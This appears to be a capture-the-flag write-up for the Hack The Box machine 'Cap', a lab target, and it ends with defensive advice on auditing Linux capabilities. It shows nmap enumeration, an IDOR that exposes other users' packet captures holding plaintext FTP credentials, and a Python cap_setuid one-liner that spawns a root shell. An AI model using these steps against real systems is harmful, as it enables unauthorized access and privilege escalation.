HTB Writeup - Cap
Hints
Enumeration
As usual, we start with an nmap
scan to get a list of open ports and services:
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open http gunicorn
|_http-title: Security Dashboard
| http-methods:
|_ Supported Methods: GET OPTIONS HEAD
|_http-server-header: gunicorn
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 NOT FOUND
| Server: gunicorn
| Date: Tue, 20 Aug 2024 22:55:11 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Content-Length: 232
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.0 200 OK
| Server: gunicorn
| Date: Tue, 20 Aug 2024 22:55:05 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Content-Length: 19386
| <!DOCTYPE html>
| <html class="no-js" lang="en">
| <head>
| <meta charset="utf-8">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title>Security Dashboard</title>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <link rel="shortcut icon" type="image/png" href="/static/images/icon/favicon.ico">
| <link rel="stylesheet" href="/static/css/bootstrap.min.css">
| <link rel="stylesheet" href="/static/css/font-awesome.min.css">
| <link rel="stylesheet" href="/static/css/themify-icons.css">
| <link rel="stylesheet" href="/static/css/metisMenu.css">
| <link rel="stylesheet" href="/static/css/owl.carousel.min.css">
| <link rel="stylesheet" href="/static/css/slicknav.min.css">
| <!-- amchar
| HTTPOptions:
| HTTP/1.0 200 OK
| Server: gunicorn
| Date: Tue, 20 Aug 2024 22:55:05 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Allow: GET, OPTIONS, HEAD
| Content-Length: 0
| RTSPRequest:
| HTTP/1.1 400 Bad Request
| Connection: close
| Content-Type: text/html
| Content-Length: 196
| <html>
| <head>
| <title>Bad Request</title>
| </head>
| <body>
| <h1><p>Bad Request</p></h1>
| Invalid HTTP Version 'Invalid HTTP Version: 'RTSP/1.0''
| </body>
|_ </html>
We have 3 ports available to us:
- 80 : A Web Server serving a security dashboard application with an already logged in user called
Nathan
. - 22 : SSH access
- 21 : FTP without anonymous access
Exploitation
The web application enables the user to take a “Security Snapshot” at the /capture
route and upon clicking the “Download” button, they are presented with a route of /download/<ID>
and the browser automatically downloads a .pcap
file.
Due to an insecure direct object reference (IDOR), it is possible to look at any ID for the packet captures. Each time the snapshot is taken, the ID increments. It was at 1 during the first usage, so trying 0 is always a good attempt just in case it’s a zero based indexing system.
Going to /download/0
provides a .pcap
file that was already on the system that someone else created.
The .pcap
file can be opened with wireshark
. This tool is not overly complicated to use, and the capture file is small enough that the packets can be visually viewed and immediately interesting communications pop out of the logs. Viewing the ftp
traffic reveals the plaintext credentials for the nathan
user.
220 (vsFTPd 3.0.3)
USER nathan
331 Please specify the password.
PASS <redacted>
230 Login successful.
SYST
215 UNIX Type: L8
PORT 192,168,196,1,212,140
200 PORT command successful. Consider using PASV.
LIST
150 Here comes the directory listing.
226 Directory send OK.
PORT 192,168,196,1,212,141
200 PORT command successful. Consider using PASV.
LIST -al
150 Here comes the directory listing.
226 Directory send OK.
TYPE I
200 Switching to Binary mode.
PORT 192,168,196,1,212,143
200 PORT command successful. Consider using PASV.
RETR notes.txt
550 Failed to open file.
QUIT
221 Goodbye.
These credentials also work for the SSH service on the machine.
Privilege Escalation
Running getcap -r / 2>/dev/null
on the target reveals:
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
The first line is the most interesting. The Python executable has the cap_setuid
privilege. Escalation to root
is as simple as running:
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'
Audit all systems for excessive capabilities. Capabilities are there to allow control at the application level for access to specific system privileges without tethering that access to a user or group. Capabilities typical allow for greater functionality that only a privileged user should have access to. In this instance,
cap_setuid
lets anyone with access to that binary to utilize the ability to set a SUID bit on a process. Attaching this capability to something like a Python interpreter gives it too much power. It should not have the ability to set a SUID, there is no logical reason for this.